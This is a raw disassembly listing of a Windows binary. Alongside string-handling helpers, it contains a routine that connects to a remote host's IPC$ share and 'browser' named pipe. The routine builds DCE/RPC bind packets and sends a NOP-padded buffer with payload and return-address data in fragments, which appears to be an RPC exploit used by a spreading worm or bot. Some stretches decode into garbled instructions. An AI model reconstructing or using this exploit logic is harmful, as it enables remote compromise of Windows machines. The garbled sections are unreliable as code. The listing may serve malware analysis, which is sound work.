		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D3BE
		call	sub_4268EC


loc_40D3BE:				; CODE XREF: sub_40D3A6+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D3D0
		mov	esi, [ebp+arg_8]


loc_40D3D0:				; CODE XREF: sub_40D3A6+25j
		cmp	edi, ebx
		jnz	short loc_40D3EE
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_40D566
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D566
		jmp	short loc_40D46A
; ---------------------------------------------------------------------------


loc_40D3EE:				; CODE XREF: sub_40D3A6+2Cj
		test	esi, esi
		jbe	short loc_40D431
		cmp	esi, eax
		jnz	short loc_40D431
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D402
		mov	eax, offset dword_4286A8


loc_40D402:				; CODE XREF: sub_40D3A6+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D431
		push	1
		mov	ecx, edi
		call	sub_40D4F9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D41D
		mov	eax, offset dword_4286A8


loc_40D41D:				; CODE XREF: sub_40D3A6+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D46A
; ---------------------------------------------------------------------------


loc_40D431:				; CODE XREF: sub_40D3A6+4Aj
					; sub_40D3A6+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D473
		test	al, al
		jz	short loc_40D46A
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_40D44E
		mov	eax, offset dword_4286A8


loc_40D44E:				; CODE XREF: sub_40D3A6+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C500
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D46A:				; CODE XREF: sub_40D3A6+46j
					; sub_40D3A6+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D3A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D473	proc near		; CODE XREF: sub_40CEC7+3Dp
					; sub_40D2F4+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D485
		call	sub_4266C0


loc_40D485:				; CODE XREF: sub_40D473+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_40D4AD
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_40D4AD
		cmp	cl, 0FFh
		jz	short loc_40D4AD
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_40D4EC
		dec	byte ptr [eax-1]
		push	edx


loc_40D4A4:				; CODE XREF: sub_40D473+48j
		call	sub_40D4F9


loc_40D4A9:				; CODE XREF: sub_40D473+4Cj
					; sub_40D473+53j
		xor	al, al
		jmp	short loc_40D4F4
; ---------------------------------------------------------------------------


loc_40D4AD:				; CODE XREF: sub_40D473+19j
					; sub_40D473+20j ...
		cmp	edi, edx
		jnz	short loc_40D4C8
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D4BD
		push	1
		mov	ecx, esi
		jmp	short loc_40D4A4
; ---------------------------------------------------------------------------


loc_40D4BD:				; CODE XREF: sub_40D473+42j
		cmp	eax, edx
		jz	short loc_40D4A9
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_40D4A9
; ---------------------------------------------------------------------------


loc_40D4C8:				; CODE XREF: sub_40D473+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D4E5
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D4DA
		cmp	eax, edi
		jnb	short loc_40D4F2


loc_40D4DA:				; CODE XREF: sub_40D473+61j
		push	1
		mov	ecx, esi
		call	sub_40D4F9
		jmp	short loc_40D4EA
; ---------------------------------------------------------------------------


loc_40D4E5:				; CODE XREF: sub_40D473+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D4F2


loc_40D4EA:				; CODE XREF: sub_40D473+70j
		mov	ecx, esi


loc_40D4EC:				; CODE XREF: sub_40D473+2Bj
		push	edi
		call	sub_40D5CD


loc_40D4F2:				; CODE XREF: sub_40D473+65j
					; sub_40D473+75j
		mov	al, 1


loc_40D4F4:				; CODE XREF: sub_40D473+38j
		pop	edi
		pop	esi
		retn	8
sub_40D473	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4F9	proc near		; CODE XREF: sub_40CEC7+1Fp
					; sub_40CEC7+16Bp ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D521
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D521
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40D51A
		cmp	cl, 0FFh
		jz	short loc_40D51A
		dec	byte ptr [eax]
		jmp	short loc_40D521
; ---------------------------------------------------------------------------


loc_40D51A:				; CODE XREF: sub_40D4F9+16j
					; sub_40D4F9+1Bj
		push	eax
		call	sub_41CE73
		pop	ecx


loc_40D521:				; CODE XREF: sub_40D4F9+8j
					; sub_40D4F9+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D4F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D531	proc near		; CODE XREF: seg000:0040D257p
					; sub_40D68A+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_40D473
		test	al, al
		jz	short loc_40D55F
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C500
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D55F:				; CODE XREF: sub_40D531+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D531	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D566	proc near		; CODE XREF: sub_40D3A6+35p
					; sub_40D3A6+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D579
		call	sub_4268EC


loc_40D579:				; CODE XREF: sub_40D566+Cj
		mov	ecx, edi
		call	sub_40D68A
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D58F
		mov	ebx, eax


loc_40D58F:				; CODE XREF: sub_40D566+25j
		test	ebx, ebx
		jbe	short loc_40D5C5
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CE80
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D473
		test	al, al
		jz	short loc_40D5C5
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D5C5:				; CODE XREF: sub_40D566+2Bj
					; sub_40D566+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D566	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D5CD	proc near		; CODE XREF: sub_40D473+7Ap
		mov	eax, offset loc_4270E4
		call	sub_41CE54
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D5F3
		mov	edi, [ebp+8]


loc_40D5F3:				; CODE XREF: sub_40D5CD+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D600
		xor	eax, eax


loc_40D600:				; CODE XREF: sub_40D5CD+2Fj
		push	eax
		call	sub_41D1B5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D631
; ---------------------------------------------------------------------------


loc_40D60C:				; DATA XREF: seg001:00428FD4o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D61B
		xor	eax, eax


loc_40D61B:				; CODE XREF: sub_40D5CD+4Aj
		push	eax
		call	sub_41D1B5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D62B
		retn
; ---------------------------------------------------------------------------


loc_40D62B:				; DATA XREF: sub_40D5CD+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D631:				; CODE XREF: sub_40D5CD+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D64F
		cmp	eax, edi
		jbe	short loc_40D63E
		mov	eax, edi


loc_40D63E:				; CODE XREF: sub_40D5CD+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C500
		add	esp, 0Ch


loc_40D64F:				; CODE XREF: sub_40D5CD+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D4F9
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D66F
		mov	edi, ebx


loc_40D66F:				; CODE XREF: sub_40D5CD+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D5CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D68A	proc near		; CODE XREF: sub_40D566+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D6B7
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D6B7
		cmp	al, 0FFh
		jz	short loc_40D6B7
		push	1
		call	sub_40D4F9
		push	esi
		call	sub_41B1D0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D531


loc_40D6B7:				; CODE XREF: sub_40D68A+9j
					; sub_40D68A+10j ...
		pop	edi
		pop	esi
		retn
sub_40D68A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6BA	proc near		; DATA XREF: seg002:0042A008o
		test	ds:byte_4DE1D4,	1
		jnz	short loc_40D6CA
		or	ds:byte_4DE1D4,	1


loc_40D6CA:				; CODE XREF: sub_40D6BA+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D230
		pop	ecx
		retn
sub_40D6BA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, 8Bh
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	[ebp+0A8h], ebx
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DD8F
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	[ebp+0A8h], ebx
		mov	edi, esp
		rep movsd
		call	sub_40E27B
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	[ebp+0A8h], ebx
		mov	edi, esp
		rep movsd
		call	sub_40E64C
		add	esp, 0BCh
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D739	proc near		; DATA XREF: seg002:0042A00Co
		jmp	$+5
sub_40D739	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D73E	proc near
		mov	eax, ds:dword_433968
		add	eax, 6
		mov	ds:dword_4D0900, eax
		retn
sub_40D73E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D74C	proc near		; CODE XREF: sub_40D74C+D0p
					; sub_40D83A+484p

var_74BF8B40	= dword	ptr -74BF8B40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D760
		or	[ebp+arg_7], 1
		jmp	short loc_40D764
; ---------------------------------------------------------------------------


loc_40D760:				; CODE XREF: sub_40D74C+Cj
		and	[ebp+arg_7], 0FEh


loc_40D764:				; CODE XREF: sub_40D74C+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D788
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D79A
; ---------------------------------------------------------------------------


loc_40D788:				; CODE XREF: sub_40D74C+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D79A:				; CODE XREF: sub_40D74C+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B6C5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D833
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C500
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	near ptr 0B10000h
		or	eax, [ebp+var_74BF8B40]
		inc	ebp
		cld
		cmp	[ebp+var_8], eax
		jnz	short loc_40D82A
		push	[ebp+arg_20]
		call	sub_41B2A1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D826
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D74C
		add	esp, 2Ch
		jmp	short loc_40D835
; ---------------------------------------------------------------------------


loc_40D826:				; CODE XREF: sub_40D74C+B3j
		mov	al, 1
		jmp	short loc_40D835
; ---------------------------------------------------------------------------


loc_40D82A:				; CODE XREF: sub_40D74C+A4j
		push	[ebp+arg_20]
		call	sub_41B2A1
		pop	ecx


loc_40D833:				; CODE XREF: sub_40D74C+61j
		xor	al, al


loc_40D835:				; CODE XREF: sub_40D74C+D8j
					; sub_40D74C+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D74C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D83A	proc near		; CODE XREF: sub_40DD8F+15p
					; sub_40DD8F+3Cp

var_60E0	= byte ptr -60E0h
var_40E0	= byte ptr -40E0h
var_20E0	= byte ptr -20E0h
var_E0		= byte ptr -0E0h
var_CC		= dword	ptr -0CCh
var_C0		= byte ptr -0C0h
var_BC		= byte ptr -0BCh
var_BB		= byte ptr -0BBh
var_BA		= byte ptr -0BAh
var_B9		= byte ptr -0B9h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_B2		= word ptr -0B2h
var_B0		= dword	ptr -0B0h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= word ptr -0A0h
var_9E		= byte ptr -9Eh
var_9C		= byte ptr -9Ch
var_8C		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= word ptr -64h
var_60		= byte ptr -60h
var_54		= qword	ptr -54h
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= qword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A8		= dword	ptr  0B0h
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		mov	eax, 60E0h
		call	sub_41BD10
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_4]
		push	offset a_	; "."
		push	eax
		call	sub_41D350
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		mov	esi, 2000h
		jz	short loc_40D8AE
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_20E0]
		push	esi
		push	eax
		call	sub_41BB70
		push	20h
		lea	eax, [ebp+var_E0]
		push	ebx
		push	eax
		call	sub_41B780
		lea	eax, [ebp+var_20E0]
		add	esp, 1Ch
		mov	[ebp+var_CC], eax
		mov	eax, offset dword_43FDB4
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		call	ds:dword_4CDCA0


loc_40D8AE:				; CODE XREF: sub_40D83A+29j
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp+var_40E0]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 10h
		lea	eax, [ebp+var_40E0]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	ds:dword_4280EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40D8F3


loc_40D8EC:				; CODE XREF: sub_40D83A+266j
					; sub_40D83A+371j ...
		xor	eax, eax
		jmp	loc_40DD8A
; ---------------------------------------------------------------------------


loc_40D8F3:				; CODE XREF: sub_40D83A+B0j
		push	48h
		lea	eax, [ebp+var_BC]
		push	ebx
		push	eax
		call	sub_41B780
		push	10h
		xor	edi, edi
		pop	eax
		inc	edi
		mov	[ebp+var_B8], eax
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset dword_4339BC
		push	eax
		mov	[ebp+var_BC], 5
		mov	[ebp+var_BB], bl
		mov	[ebp+var_BA], 0Bh
		mov	[ebp+var_B9], 3
		mov	[ebp+var_B4], 48h
		mov	[ebp+var_B2], bx
		mov	[ebp+var_B0], ebx
		mov	[ebp+var_AC], 10B8h
		mov	[ebp+var_AA], 10B8h
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_A4], edi
		mov	[ebp+var_A0], bx
		mov	[ebp+var_9E], 1
		call	sub_41C500
		push	10h
		lea	eax, [ebp+var_88]
		push	offset dword_4339A8
		push	eax
		mov	[ebp+var_8C], 3
		call	sub_41C500
		add	esp, 24h
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_78], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_BC]
		push	48h
		push	eax
		push	[ebp+var_8]
		call	near ptr 0B10000h
		pop	ss
		test	eax, eax
		jz	loc_40DA97
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60E0]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4280E8	; ReadFile
		push	ebx
		call	sub_41D271
; ---------------------------------------------------------------------------
		push	eax
		call	sub_41BAC8
		push	14h
		lea	eax, [ebp+var_74]
		push	41h
		push	eax
		call	sub_41B780
		push	1Ch
		lea	eax, [ebp+var_34]
		push	41h
		push	eax
		call	sub_41B780
		add	esp, 20h
		call	sub_41BAD2
		mov	esi, [ebp+arg_BC]
		mov	[ebp+var_74], eax
		mov	[ebp+var_68], edi
		mov	[ebp+var_6C], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_70], edi
		shl	esi, 2
		mov	[ebp+var_64], bx
		mov	[ebp+var_2C], ebx
		cmp	ds:byte_433950[esi], bl
		jz	short loc_40DA40
		push	4
		mov	[ebp+var_28], edi
		mov	[ebp+var_30], edi
		push	offset dword_4D0904
		jmp	short loc_40DA50
; ---------------------------------------------------------------------------


loc_40DA40:				; CODE XREF: sub_40D83A+1F5j
		push	2
		pop	eax
		push	4
		mov	[ebp+var_28], eax
		mov	[ebp+var_30], eax
		push	(offset	loc_43399F+1)


loc_40DA50:				; CODE XREF: sub_40D83A+204j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41C500
		add	esp, 0Ch
		call	sub_41BAD2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_34], edx
		call	sub_41BAD2
		cdq
		idiv	edi
		mov	eax, ds:dword_433944[esi]
		mov	[ebp+var_1C], ebx
		push	eax
		mov	[ebp+arg_BC], eax
		inc	edx
		mov	[ebp+var_20], edx
		call	sub_41B6C5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_40DAA5


loc_40DA97:				; CODE XREF: sub_40D83A+186j
		push	[ebp+var_8]
		call	ds:dword_42806C	; CloseHandle
		jmp	loc_40D8EC
; ---------------------------------------------------------------------------


loc_40DAA5:				; CODE XREF: sub_40D83A+25Bj
		mov	eax, [ebp+arg_BC]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B780
		mov	eax, [ebp+arg_BC]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B780
		mov	eax, ds:dword_43394C[esi]
		push	7
		add	eax, edi
		push	offset dword_433938
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41C500
		mov	eax, [ebp+var_4]
		push	15Ch
		add	eax, 7
		push	offset dword_4337D8
		push	eax
		call	sub_41C500
		mov	eax, ds:dword_433948[esi]
		add	esp, 30h
		mov	[ebp+var_4], eax
		add	eax, edi
		cmp	ds:byte_433950[esi], bl
		jz	short loc_40DB5C
		push	4
		push	offset dword_4D0900
		push	eax
		call	sub_41C500
		add	[ebp+var_4], 0Ch
		mov	esi, offset dword_433968
		mov	eax, [ebp+var_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C500
		mov	eax, [ebp+var_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41C500
		mov	eax, [ebp+var_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C500
		add	esp, 30h
		jmp	short loc_40DB82
; ---------------------------------------------------------------------------


loc_40DB5C:				; CODE XREF: sub_40D83A+2D5j
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], 10h
		mov	esi, offset dword_433968


loc_40DB6B:				; CODE XREF: sub_40D83A+346j
		push	4
		push	esi
		push	[ebp+var_4]
		call	sub_41C500
		add	[ebp+var_4], 4
		add	esp, 0Ch
		dec	[ebp+var_C]
		jnz	short loc_40DB6B


loc_40DB82:				; CODE XREF: sub_40D83A+320j
		mov	eax, [ebp+arg_BC]
		add	eax, 42h
		push	eax
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_C], esi
		jnz	short loc_40DBB0
		push	[ebp+var_8]
		call	ds:dword_42806C	; CloseHandle
		push	edi
		call	sub_41B2A1
		pop	ecx
		jmp	loc_40D8EC
; ---------------------------------------------------------------------------


loc_40DBB0:				; CODE XREF: sub_40D83A+35Fj
		mov	eax, [ebp+arg_BC]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_41B780
		lea	eax, [ebp+var_74]
		push	14h
		push	eax
		push	esi
		call	sub_41C500
		mov	eax, [ebp+arg_BC]
		mov	dword ptr [ebp+var_14+4], ebx
		mov	dword ptr [ebp+var_14],	eax
		add	esp, 10h
		fild	[ebp+var_14]
		fmul	ds:flt_4286AC
		fstp	qword ptr [esp+64h+var_64]
		call	sub_41C9AF
		call	sub_41C988
		push	[ebp+arg_BC]
		mov	[esi+1Ch], eax
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		mov	[esi+18h], ebx
		call	sub_41C500
		mov	eax, [ebp+arg_BC]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+var_4], eax
		jz	short loc_40DC26


loc_40DC1E:				; CODE XREF: sub_40D83A+3E7j
		inc	eax
		test	al, 3
		jnz	short loc_40DC1E
		mov	[ebp+var_4], eax


loc_40DC26:				; CODE XREF: sub_40D83A+3E2j
		lea	ecx, [ebp+var_34]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C500
		add	[ebp+var_4], 1Ch
		push	edi
		call	sub_41B2A1
		push	18h
		lea	eax, [ebp+var_4C]
		push	ebx
		push	eax
		call	sub_41B780
		push	14h
		lea	eax, [ebp+var_60]
		push	ebx
		push	eax
		mov	[ebp+var_4C], 5
		mov	[ebp+var_4B], bl
		mov	[ebp+var_4A], bl
		mov	[ebp+var_49], 3
		mov	[ebp+var_48], 10h
		mov	[ebp+var_42], bx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_38], bx
		mov	[ebp+var_36], 1Fh
		call	sub_41B780
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 0B10000h
		sub	cl, [ecx-62774FBBh]
		mov	dword ptr [eax], 5D890000h
		lock cmp dword ptr [ebp+var_14+4], 2 ; CODE XREF: sub_40D83A+51Ej
		jge	loc_40DD63
		push	1
		push	10B8h
		push	[ebp+var_4]
		inc	dword ptr [ebp+var_14+4]
		push	esi
		lea	esi, [ebp+var_4C]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_8]
		rep movsd
		call	sub_40D74C
		add	esp, 2Ch
		test	al, al
		jz	loc_40DD60
		cmp	dword ptr [ebp+var_54+4], ebx
		jz	short loc_40DD4F
		lea	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_60E0]
		push	2000h
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4280E8	; ReadFile
		test	eax, eax
		jnz	short loc_40DD05
		call	ds:dword_42808C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40D8EC


loc_40DD05:				; CODE XREF: sub_40D83A+4B8j
		push	3E8h
		push	dword ptr [ebp+var_54+4]
		call	near ptr 0B10000h
		out	3Dh, eax
		add	al, [ecx]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		jnz	short loc_40DD4F
		push	65h
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		mov	byte ptr [ebp+arg_BC+3], 1
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E2E5
		mov	eax, [ebp+arg_A8]
		add	esp, 0C0h
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]


loc_40DD4F:				; CODE XREF: sub_40D83A+497j
					; sub_40D83A+4DEj
		cmp	byte ptr [ebp+arg_BC+3], bl
		mov	esi, [ebp+var_C]
		jz	near ptr loc_40DC95+1
		jmp	short loc_40DD63
; ---------------------------------------------------------------------------


loc_40DD60:				; CODE XREF: sub_40D83A+48Ej
		mov	esi, [ebp+var_C]


loc_40DD63:				; CODE XREF: sub_40D83A+460j
					; sub_40D83A+524j
		push	[ebp+var_8]
		mov	edi, ds:dword_42806C
		call	edi	; CloseHandle
		push	esi
		call	sub_41B2A1
		cmp	dword ptr [ebp+var_54+4], ebx
		pop	ecx
		jz	short loc_40DD7F
		push	dword ptr [ebp+var_54+4]
		call	edi	; CloseHandle


loc_40DD7F:				; CODE XREF: sub_40D83A+53Ej
		xor	eax, eax
		cmp	byte ptr [ebp+arg_BC+3], bl
		setnz	al


loc_40DD8A:				; CODE XREF: sub_40D83A+B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D83A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DD8F	proc near		; CODE XREF: seg000:0040D6FCp

arg_0		= byte ptr  4

		push	esi
		push	edi
		push	0
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
